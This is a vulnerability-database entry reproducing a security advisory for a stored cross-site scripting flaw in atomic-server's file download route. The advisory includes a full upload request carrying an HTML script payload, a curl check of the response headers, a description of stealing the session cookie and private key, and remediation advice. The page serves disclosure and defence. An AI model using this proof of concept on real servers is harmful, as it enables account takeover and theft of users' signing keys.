GHSA-X277-3WCG-G9R2
Vulnerability from github – Published: 2026-11-18 20:41 – Updated: 2026-11-18 20:41Summary
Files uploaded via POST /upload are served back by GET /download/{path} using actix_files::NamedFile. For text/html and image/svg+xml, actix-files (0.6.6) sets Content-Disposition: inline, so the browser renders the file instead of downloading it. The /download route sets no Content-Security-Policy, no X-Content-Type-Options: nosniff, and no forced attachment (CSP exists only on the SPA route), and files are served from the same origin as the app UI. An authenticated Agent uploads evil.html containing <script>; when a victim opens the link, the script executes in the app origin. Because the atomic_session cookie is set via document.cookie (not HttpOnly) and the Agent's Ed25519 private key is stored in same-origin IndexedDB (browser/data-browser/src/helpers/agentStorage.ts), the script exfiltrates the private key → permanent account takeover.
Affected component
server/src/handlers/upload.rs— stores the file; mimetype guessed from extension.server/src/handlers/download.rs:65—NamedFile::open(...).into_response(req)with no CSP/nosniff/attachment; CSP is only set inserver/src/handlers/single_page_app.rs.
Steps to Reproduce
Environment: joepmeneer/atomic-server:develop, http://localhost:9883. Attacker is any Agent with write on a folder.
- Upload an HTML file (multipart, with signed auth headers):
POST /upload?parent=http://localhost:9883 HTTP/1.1
Host: localhost:9883
x-atomic-public-key: <pubkey>
x-atomic-agent: http://localhost:9883/agents/<pubkey>
x-atomic-timestamp: <ms>
x-atomic-signature: <ed25519("http://localhost:9883/upload?parent=http://localhost:9883 <ms>")>
Content-Type: multipart/form-data; boundary=----poc
------poc
Content-Disposition: form-data; name="assets"; filename="xss.html"
Content-Type: text/html
<html><body><script>alert(document.domain)</script>STORED-XSS-PROOF</body></html>
------poc--
Response 200 returns a downloadURL, e.g. http://localhost:9883/download/files/<ts>-xss.html.
- Inspect how the server serves it:
$ curl -D - http://localhost:9883/download/files/<ts>-xss.html
HTTP/1.1 200 OK
content-type: text/html; charset=utf-8
content-disposition: inline; filename="<ts>-xss.html"
# (no Content-Security-Policy, no X-Content-Type-Options)
text/html + inline + no CSP/nosniff + same origin → the browser executes the uploaded HTML/JS in the app origin. image/svg+xml behaves identically.
- The attacker sends the link to a victim. On open, the script runs same-origin and reads
document.cookie(session is not HttpOnly) and the Ed25519 private key from IndexedDB → signs Commits as the victim indefinitely.
Expected: user files served with Content-Disposition: attachment + nosniff, or from an isolated origin.
Actual: served inline, text/html, same origin, no CSP/nosniff → stored XSS executes.
(Confirmed at the HTTP layer in the lab: content-type, disposition, missing CSP/nosniff, same origin, and the intact <script> body. In-browser execution and IndexedDB key theft follow directly from these response headers.)
Impact
Stored XSS in the app origin → theft of the victim's session cookie (not HttpOnly) and Ed25519 private key from IndexedDB → permanent account takeover (not limited by the 10-second token window). If the victim is an admin/root Agent, this is server takeover.
Remediation
- On
/download, forceContent-Disposition: attachmentfor user files, addX-Content-Type-Options: nosniff, and asandboxCSP. - Serve user-uploaded files from a separate origin/subdomain.
- Set
HttpOnly+Secureon the session cookie; do not persist the private key in JS-readable storage.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "atomic-server"
},
"ranges": [
{
"events": [
{
"introduced": "0.30.0"
},
{
"last_affected": "0.40.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69155"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-18T20:41:46Z",
"nvd_published_at": "2026-11-17T21:18:12Z",
"severity": "HIGH"
},
"details": "## Summary\n\nFiles uploaded via `POST /upload` are served back by `GET /download/{path}` using `actix_files::NamedFile`. For `text/html` and `image/svg+xml`, actix-files (0.6.6) sets `Content-Disposition: inline`, so the browser **renders** the file instead of downloading it. The `/download` route sets **no `Content-Security-Policy`, no `X-Content-Type-Options: nosniff`, and no forced `attachment`** (CSP exists only on the SPA route), and files are served from the **same origin** as the app UI. An authenticated Agent uploads `evil.html` containing `\u003cscript\u003e`; when a victim opens the link, the script executes in the app origin. Because the `atomic_session` cookie is set via `document.cookie` (not HttpOnly) and the Agent\u0027s Ed25519 private key is stored in same-origin IndexedDB (`browser/data-browser/src/helpers/agentStorage.ts`), the script exfiltrates the private key \u2192 **permanent account takeover**.\n\n## Affected component\n\n- `server/src/handlers/upload.rs` \u2014 stores the file; mimetype guessed from extension.\n- `server/src/handlers/download.rs:65` \u2014 `NamedFile::open(...).into_response(req)` with no CSP/nosniff/attachment; CSP is only set in `server/src/handlers/single_page_app.rs`.\n\n## Steps to Reproduce\n\nEnvironment: `joepmeneer/atomic-server:develop`, `http://localhost:9883`. Attacker is any Agent with write on a folder.\n\n1. Upload an HTML file (multipart, with signed auth headers):\n\n```http\nPOST /upload?parent=http://localhost:9883 HTTP/1.1\nHost: localhost:9883\nx-atomic-public-key: \u003cpubkey\u003e\nx-atomic-agent: http://localhost:9883/agents/\u003cpubkey\u003e\nx-atomic-timestamp: \u003cms\u003e\nx-atomic-signature: \u003ced25519(\"http://localhost:9883/upload?parent=http://localhost:9883 \u003cms\u003e\")\u003e\nContent-Type: multipart/form-data; boundary=----poc\n\n------poc\nContent-Disposition: form-data; name=\"assets\"; filename=\"xss.html\"\nContent-Type: text/html\n\n\u003chtml\u003e\u003cbody\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003eSTORED-XSS-PROOF\u003c/body\u003e\u003c/html\u003e\n------poc--\n```\n\nResponse `200` returns a `downloadURL`, e.g. `http://localhost:9883/download/files/\u003cts\u003e-xss.html`.\n\n2. Inspect how the server serves it:\n\n```\n$ curl -D - http://localhost:9883/download/files/\u003cts\u003e-xss.html\nHTTP/1.1 200 OK\ncontent-type: text/html; charset=utf-8\ncontent-disposition: inline; filename=\"\u003cts\u003e-xss.html\"\n# (no Content-Security-Policy, no X-Content-Type-Options)\n```\n\n`text/html` + `inline` + no CSP/nosniff + same origin \u2192 the browser executes the uploaded HTML/JS in the app origin. `image/svg+xml` behaves identically.\n\n3. The attacker sends the link to a victim. On open, the script runs same-origin and reads `document.cookie` (session is not HttpOnly) and the Ed25519 private key from IndexedDB \u2192 signs Commits as the victim indefinitely.\n\n**Expected:** user files served with `Content-Disposition: attachment` + `nosniff`, or from an isolated origin.\n**Actual:** served `inline`, `text/html`, same origin, no CSP/nosniff \u2192 stored XSS executes.\n\n*(Confirmed at the HTTP layer in the lab: content-type, disposition, missing CSP/nosniff, same origin, and the intact `\u003cscript\u003e` body. In-browser execution and IndexedDB key theft follow directly from these response headers.)*\n\n## Impact\n\nStored XSS in the app origin \u2192 theft of the victim\u0027s session cookie (not HttpOnly) and Ed25519 private key from IndexedDB \u2192 permanent account takeover (not limited by the 10-second token window). If the victim is an admin/root Agent, this is server takeover.\n\n## Remediation\n\n- On `/download`, force `Content-Disposition: attachment` for user files, add `X-Content-Type-Options: nosniff`, and a `sandbox` CSP.\n- Serve user-uploaded files from a separate origin/subdomain.\n- Set `HttpOnly` + `Secure` on the session cookie; do not persist the private key in JS-readable storage.",
"id": "GHSA-x277-3wcg-g9r2",
"modified": "2026-11-18T20:41:46Z",
"published": "2026-11-18T20:41:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ontola/atomic-server/security/advisories/GHSA-x277-3wcg-g9r2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69155"
},
{
"type": "WEB",
"url": "https://github.com/ontola/atomic-server/commit/457c1dc9af4cd00d2aec89720718e504a49f392d"
},
{
"type": "WEB",
"url": "https://github.com/ontola/atomic-server/commit/8a8badfd3099765e62ccf6f92dc78a408a11106f"
},
{
"type": "PACKAGE",
"url": "https://github.com/ontola/atomic-server"
},
{
"type": "WEB",
"url": "https://github.com/ontola/atomic-server/releases/tag/v0.40.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Atomic Server: Stored XSS via uploaded files served inline (same-origin) on `/download` \u2192 account takeover"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.